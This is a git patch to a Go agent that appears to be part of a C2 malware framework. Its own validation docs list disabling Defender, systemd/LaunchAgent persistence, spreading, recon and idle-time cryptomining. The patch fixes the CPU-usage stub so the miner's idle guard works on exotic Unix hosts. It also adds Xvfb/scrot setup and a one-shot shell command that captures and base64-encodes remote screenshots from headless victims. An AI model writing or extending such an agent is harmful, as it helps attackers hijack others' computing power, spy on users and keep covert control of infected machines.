From f404a76caa001ce57a8af20a8cc58b6d1046cb3e Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 06:27:19 -0700 Subject: [PATCH] Fix exotic CPU stub idle-mining guard and document Linux headless screenshots. Return sane fallback CPU percent after first sample on unknown Unix platforms; add xvfb/scrot docs and stub tests; clear PROBLEMS.md open bugs. --- PROBLEMS.md | 7 ------- agent/client/screenshot_linux.go | 14 ++++++++++++- agent/client/screenshot_linux_test.go | 28 +++++++++++++++++++++++++ agent/client/screenshot_stub_test.go | 28 +++++++++++++++++++++++++ agent/stats/cpu_common.go | 16 ++++++++++++++ agent/stats/cpu_common_test.go | 30 +++++++++++++++++++++++++++ agent/stats/cpu_stub.go | 2 +- agent/stats/cpu_stub_test.go | 15 ++++++++++++++ docs/E2E_VALIDATION.md | 27 ++++++++++++++++++++++++ 9 files changed, 158 insertions(+), 9 deletions(-) create mode 100644 agent/client/screenshot_linux_test.go create mode 100644 agent/client/screenshot_stub_test.go create mode 100644 agent/stats/cpu_common_test.go create mode 100644 agent/stats/cpu_stub_test.go diff --git a/PROBLEMS.md b/PROBLEMS.md index 3d62f9c..7534272 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -69,13 +69,6 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. | | **Vite chunk weight** | `three` + vendor warnings; FleetTopologyMap lazy but heavy first open. | -## Open bugs / behavior - -| Issue | Notes | -|-------|-------| -| **Unknown Unix CPU stats stub** | `cpu_stub.go` may return 0 and break idle-mining guard on exotic platforms. | -| **Linux headless screenshot** | Needs `xvfb` + scrot or custom `command` in containers. | - ## UX / visual (unfixed DV) | ID | Issue | diff --git a/agent/client/screenshot_linux.go b/agent/client/screenshot_linux.go index 5bac2f4..02dc463 100644 --- a/agent/client/screenshot_linux.go +++ b/agent/client/screenshot_linux.go @@ -1,5 +1,17 @@ //go:build linux +// Headless Linux hosts (Docker, CI, VPS) have no DISPLAY. Install Xvfb + scrot: +// +// apt-get install -y xvfb scrot +// Xvfb :99 -screen 0 1280x720x24 & +// export DISPLAY=:99 +// +// Or pass a one-shot custom command via Crucible screenshot (command field), e.g.: +// +// DISPLAY=:99 scrot -q 55 -o /tmp/s.jpg && base64 -w0 /tmp/s.jpg +// +// See docs/E2E_VALIDATION.md § Linux headless screenshot. + package client import ( @@ -76,5 +88,5 @@ func captureLinuxScreenshotJPEG() ([]byte, error) { return os.ReadFile(path) } - return nil, fmt.Errorf("no screenshot tool found (scrot, import, gnome-screenshot)") + return nil, fmt.Errorf("no screenshot tool found (scrot, import, gnome-screenshot); headless hosts need xvfb — see docs/E2E_VALIDATION.md") } diff --git a/agent/client/screenshot_linux_test.go b/agent/client/screenshot_linux_test.go new file mode 100644 index 0000000..392601b --- /dev/null +++ b/agent/client/screenshot_linux_test.go @@ -0,0 +1,28 @@ +//go:build linux + +package client + +import ( + "strings" + "testing" +) + +func TestLinuxScreenshotErrorMentionsHeadlessXvfb(t *testing.T) { + _, err := captureLinuxScreenshotJPEG() + if err == nil { + t.Skip("screenshot tool present on this host") + } + if !strings.Contains(strings.ToLower(err.Error()), "xvfb") { + t.Fatalf("headless error should mention xvfb, got %q", err.Error()) + } +} + +func TestLinuxScreenshotCustomCommandEmptyRejected(t *testing.T) { + _, err := capturePlatformScreenshot(" ") + if err == nil { + t.Skip("default capture succeeded without custom command") + } + if !strings.Contains(err.Error(), "scrot") && !strings.Contains(err.Error(), "xvfb") { + t.Fatalf("expected tool or xvfb hint, got %q", err.Error()) + } +} diff --git a/agent/client/screenshot_stub_test.go b/agent/client/screenshot_stub_test.go new file mode 100644 index 0000000..753811b --- /dev/null +++ b/agent/client/screenshot_stub_test.go @@ -0,0 +1,28 @@ +//go:build !windows && !linux && !darwin + +package client + +import ( + "strings" + "testing" +) + +func TestScreenshotStubReturnsUnsupportedError(t *testing.T) { + b64, err := capturePlatformScreenshot("") + if b64 != "" { + t.Fatalf("expected empty base64, got len=%d", len(b64)) + } + if err == nil { + t.Fatal("expected error from screenshot stub") + } + if !strings.Contains(err.Error(), "not supported") { + t.Fatalf("error should mention unsupported platform, got %q", err.Error()) + } +} + +func TestScreenshotStubIgnoresCustomCommand(t *testing.T) { + _, err := capturePlatformScreenshot("echo fake") + if err == nil { + t.Fatal("stub must reject custom screenshot commands on unsupported platforms") + } +} diff --git a/agent/stats/cpu_common.go b/agent/stats/cpu_common.go index dd466bc..06f3aef 100644 --- a/agent/stats/cpu_common.go +++ b/agent/stats/cpu_common.go @@ -1,5 +1,21 @@ package stats +// StubFallbackCPUPercent is returned after the first sample on platforms without +// OS CPU counters (cpu_stub.go). Kept below the default idle threshold (20%). +const StubFallbackCPUPercent = 5.0 + +// stubSystemCPUPercent implements idle-mining-safe defaults when real counters +// are unavailable: first sample returns 0 (no delta yet), then a low busy %. +func (r *Reporter) stubSystemCPUPercent() float64 { + r.mu.Lock() + defer r.mu.Unlock() + if !r.hasSample { + r.hasSample = true + return 0 + } + return StubFallbackCPUPercent +} + func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 { if totalDelta <= 0 { return 0 diff --git a/agent/stats/cpu_common_test.go b/agent/stats/cpu_common_test.go new file mode 100644 index 0000000..43f0f9a --- /dev/null +++ b/agent/stats/cpu_common_test.go @@ -0,0 +1,30 @@ +package stats + +import "testing" + +func TestStubSystemCPUPercentFirstSampleZero(t *testing.T) { + r := NewReporter() + if got := r.stubSystemCPUPercent(); got != 0 { + t.Fatalf("first sample want 0 got %v", got) + } +} + +func TestStubSystemCPUPercentFallbackBelowIdleThreshold(t *testing.T) { + r := NewReporter() + _ = r.stubSystemCPUPercent() + got := r.stubSystemCPUPercent() + if got != StubFallbackCPUPercent { + t.Fatalf("fallback want %v got %v", StubFallbackCPUPercent, got) + } + if got >= 20 { + t.Fatalf("fallback %v must stay below default idle threshold 20", got) + } +} + +func TestStubSystemCPUPercentSubsequentNonZero(t *testing.T) { + r := NewReporter() + _ = r.stubSystemCPUPercent() + if got := r.stubSystemCPUPercent(); got <= 0 { + t.Fatalf("subsequent stub sample must be >0 for idle guard, got %v", got) + } +} diff --git a/agent/stats/cpu_stub.go b/agent/stats/cpu_stub.go index eb41a7d..6a71369 100644 --- a/agent/stats/cpu_stub.go +++ b/agent/stats/cpu_stub.go @@ -3,5 +3,5 @@ package stats func (r *Reporter) SystemCPUPercent() float64 { - return 0 + return r.stubSystemCPUPercent() } diff --git a/agent/stats/cpu_stub_test.go b/agent/stats/cpu_stub_test.go new file mode 100644 index 0000000..4ae8bd4 --- /dev/null +++ b/agent/stats/cpu_stub_test.go @@ -0,0 +1,15 @@ +//go:build !windows && !linux && !darwin + +package stats + +import "testing" + +func TestStubPlatformSystemCPUPercentUsesFallback(t *testing.T) { + r := NewReporter() + if got := r.SystemCPUPercent(); got != 0 { + t.Fatalf("first SystemCPUPercent want 0 got %v", got) + } + if got := r.SystemCPUPercent(); got != StubFallbackCPUPercent { + t.Fatalf("second SystemCPUPercent want %v got %v", StubFallbackCPUPercent, got) + } +} diff --git a/docs/E2E_VALIDATION.md b/docs/E2E_VALIDATION.md index 341425e..89355b3 100644 --- a/docs/E2E_VALIDATION.md +++ b/docs/E2E_VALIDATION.md @@ -306,11 +306,38 @@ Get-Content ".\data-e2e\logs\.log" -Tail 100 | Defender off | ✅ | N/A (returns error) | N/A | | systemd / LaunchAgent persistence | — | ✅ | ✅ | | Idle-mode mining (CPU % sample) | ✅ | ✅ (fixed: /proc/stat) | ✅ (sysctl kern.cp_time) | +| Headless Linux screenshot | N/A | ✅ with Xvfb — see below | N/A | Use **Tier 3 Windows VM** when validating spread, GPU, screenshot, or aggressive ops. Use **Tier 2 Linux** for faster C2 regression on recon + mining. --- +## Linux headless screenshot + +Docker/CI/VPS agents have no real display. `scrot`, `import`, and `gnome-screenshot` need an X server. + +**Install and start a virtual framebuffer:** + +```bash +apt-get install -y xvfb scrot +Xvfb :99 -screen 0 1280x720x24 & +export DISPLAY=:99 +``` + +Then run the Crucible **Screenshot** action as usual (agent picks up `scrot` on PATH). + +**One-shot custom command** (Crucible screenshot command field — no persistent `DISPLAY` in the agent process): + +```bash +DISPLAY=:99 Xvfb :99 -screen 0 1280x720x24 & sleep 1; scrot -q 55 /tmp/s.jpg && base64 -w0 /tmp/s.jpg +``` + +On Alpine or minimal images, use the agent forge **custom screenshot command** field with the same pattern. + +**Unsupported platforms** (`freebsd`, etc.) return `screenshot not supported on this platform` from `screenshot_stub.go`. + +--- + ## References - Automated test phases: `tests/README.md`